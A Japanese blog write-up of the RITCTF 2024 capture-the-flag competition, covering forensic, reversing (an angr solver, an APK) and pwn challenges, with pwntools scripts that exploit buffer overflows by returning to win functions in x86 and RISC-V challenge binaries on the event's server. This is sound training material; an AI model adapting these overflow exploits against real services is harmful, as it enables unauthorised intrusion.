LoginSignup
1
0

RITCTF 2024 - Writeup

Last updated at Posted at 2024-04-07

初めに

RITCTF 2024のWriteupになります。
pwnとrevとforensicの記事です。
備忘録デス。

image.png

Forensic

Ransom Note

After the break-in to his lab Anthony found a suspicious new file on his desktop named README.txt. Anthony opened the file and found that it was a ransom demand from whomever stole his invention. Perhaps the contents of the ransom note contain a clue to the attacker's identity.

以下のREADME.txtを渡される。
image.png
該当のBTCのアドレスに行ってみる。

image.png

適当にアクティビティ探ってたらありました。
Screenshot_2024-04-07_15_51_20.png

RS{26f9c2fcdfe8e86804eb}

Decrypt the Flood

Dive into the digital currents of Decrypt the Flood! Navigate through encrypted waters, uncovering clues hidden within the network flow. Will you decrypt the mystery behind Anthony's vanished invention, or will it remain lost in the flood?

pcap fileを渡されます。
image.png
ごちゃごちゃして何もわかりません。もしかしたら平文で書いてるかもしれないのでstringsかけます。
image.png
ありました。pcapはこういった解き方があることは聞いてましたが、いざやるとズルをしてる感覚が個人的にあります。。。

RS{pc@p$_@r3_0ur_fr!3nd$}

Reversing

My Favorite Flag

In our relentless quest to reclaim Anthony's cherished invention, we find ourselves navigating the intricate pathways of cyber investigation. Our attention is drawn to a digital artifact, the a.out file, a seemingly innocuous entity yet harboring secrets within its binary code. With Anthony's invention at stake, suspicions now converge not only upon Sophie, a figure of authority with a nuanced understanding of the facility's inner workings, but also upon Alex, a shadowy presence lurking within the digital ether.

image.png
1つの実行ファイルとC言語ファイルを渡されます。
C言語は以下です。

checker.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main() {
  int l, i, j;
  unsigned char input[50];
  unsigned char* output;
  unsigned char b[] = {0x0, 0x28, 0x13, 0x36, 0x11, 0x7a, 0x6e, 0x4, 0x6c, 0x55, 0x5f, 0x39, 0x4, 0x1d, 0x4e, 0x66, 0x6f, 0x6b, 0x42, 0x49, 0x0, 0x52, 0x0, 0x53, 0x1f, 0x0, 0x56, 0x4e, 0x5c};
  char* s = "RS{0h_b0y,I_10v3_f4k3_fl4gs!}";

  printf("Can you guess my favorite flag? > ");
  fgets(input, 50, stdin);
  l = strlen(input);
  if (input[l-1] == '\n') {
    input[l-1] = '\0';
    l--;
  }
  if (l != strlen(s)) {
    printf("Nope! Try again :)\n");
    return -1;
  }
  if (strcmp(input, s) == 0) {
    printf("why would I like a fake flag??\n");
    return -1;
  }
  output = malloc(l+1);
  for (i=0; i <l; i++) {
    output[i] = ' ';
  }
  output[l+1] = 0;

  for (i = 0; i < l; i++) {
    output[(2*i) % l] = input[i] ^ b[i];
  }

  if (strcmp(output, s) != 0) {
    printf("Nope! Try again :)\n");
    return -1;
  }

  printf("Yeah how'd you know?\n");

  return 0;
}

実行ファイルはこのC言語のやつですね。
image.png
上手いことFlagを入力をした時にYeah how'd you know?とかえしてくれるようなのでこの文字列を探索するためにangrを使ってみる。避けるべき文字列はNope! Try againを指定した。これらの条件を標準出力posix.dumps(1)に指定する。最後に見つけたものの標準入力posix.dumps(0)を出すだけでよい。

solv.py
import angr
import claripy
proj = angr.Project('a.out', load_options={"auto_load_libs": False})
argv = [proj.filename]
state = proj.factory.entry_state(args = argv)
simgr = proj.factory.simulation_manager(state)

simgr.explore(find=lambda s: b"Yeah how'd you know" in s.posix.dumps(1), avoid=lambda s: b"Nope! Try again" in s.posix.dumps(1), step_func=lambda lsm: lsm.drop(stash='avoid').drop(stash='deadended'))

if len(simgr.found) > 0:
    state = simgr.found[0]
    print(state.posix.dumps(0))
else: print("Not found...")

image.png

RS{Th3_r3al_0n35_4re_b35t_:)}

Guess

I was rummaging around some old files and found this badly made app (not mine by the way). Do you think you can uncover any hidden information hiding in when running it? You can download it here(guess.apk).

guess.apkファイルを渡されるのでとりあえず以下サイトに突っ込みます。

sources/com配下にいかにもなファイルを見つけます。flagって書いてあるし。
image.png

javaが分からなすぎるので、ChatGPTに聞きます。
2024-04-06_18.35.22.png
いいPythonを出力してくれたのでちょちょいといじってあげます。
image.png
GPTマジ神

RS{gu3ssy_funct1on}

Pwn

The Gumponent

Hey, Chase here. Some of us on the team think we've found a component of something Anthony was last working on. Its seen running on a server.
Additionally, someone found a prototype. Do you can you dig into this and see if there is something on the server that could tell use more?

1つのバイナリが渡されます。
image.png
ほう、Ghidraで見てみます。
image.png
local_98にバッファオーバーフローを仕掛ける方向でいいでしょう。
どこにReturnさせるかは、シンボルが消されてるので面倒ですが探すしかないでしょう。
image.png
それっぽい関数を見つけました。checksecも確認しておきます。
image.png
アドレスのランダム配置されてなさそうなので大丈夫そう。
(バイナリの通常の出力にアドレスが書いてるのはちょっと引っかかるけど)
続いてReturnまでのOffsetを求めます。
image.png
この文字列を叩き込みます。
image.png
image.png
rcxのアドレスをcallしてるのでどこまでか確認します。
image.png
32個適当にバイトを通せば良さそうですね。
Solverはこうなった。

solv.py
from pwn import *

context.log_level = "debug"

binfile = './test_gumponent'
offset = b'\x02'*32
rhost = 'ctf.ritsec.club'
rport = 31746

elf = ELF(binfile)
context.binary = elf

p = remote(rhost, rport)
p.recvuntil('function is at ')
p.recvuntil("\n")

gofunc = 0x401230

payload = offset
payload += pack(gofunc)

p.sendline(payload)
p.interactive()

Screenshot_2024-04-06_13_45_59.png
RS{to_gump_or_not_to_gump}

Risky Clue

Can you guess the riddle?

バイナリファイルが1つ渡されます。実行できないのでどんな形式か見てみます。
image.png
RISC-Vですか。
qemu-riscv64を使って実行します。
image.png
実行できてそうですね。
どんなものかGhidraで見てみます。
image.png
abStack_78にバッファオーバーフローを叩き込む方向でいいでしょう。
どこのアドレスに飛ばすかはいいものがありました。
image.png
RISC-Vでもこういった関数が用意されてればやることは同じですね。ret2winのやり方でおkです。
win関数のアドレスを確認しておきます。
image.png
このアドレスに飛ばすわけです。
後はReturnまでのOffsetを求めればいいです。
image.png
image.png
112個分埋めれば良さそうですね。
後はSolverを組むだけです。

solv.py
from pwn import *

context.log_level = "debug"

binfile = './clue'
libcfile = ''
offset = b'A'*112

rhost = 'ctf.ritsec.club'
rport = 30839

gdb_script = '''
b main
'''

elf = ELF(binfile)
context.binary = elf

def conn():
    if args.REMOTE:
        p = remote(rhost, rport)
    elif args.GDB:
        p = process(elf.path)
        gdb.attach(p, gdbscript=gdb_script)
    else:
        p = process(elf.path)
    return p

win = 0x0000000000010446

p = conn()
p.recvuntil('Your answer: ')
p.sendline(offset + pack(win))

p.interactive()

Screenshot_2024-04-07_11_47_24.png

RS{CLU3S_1N_R1DDL3S_4R3_C0NFUS1NG}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0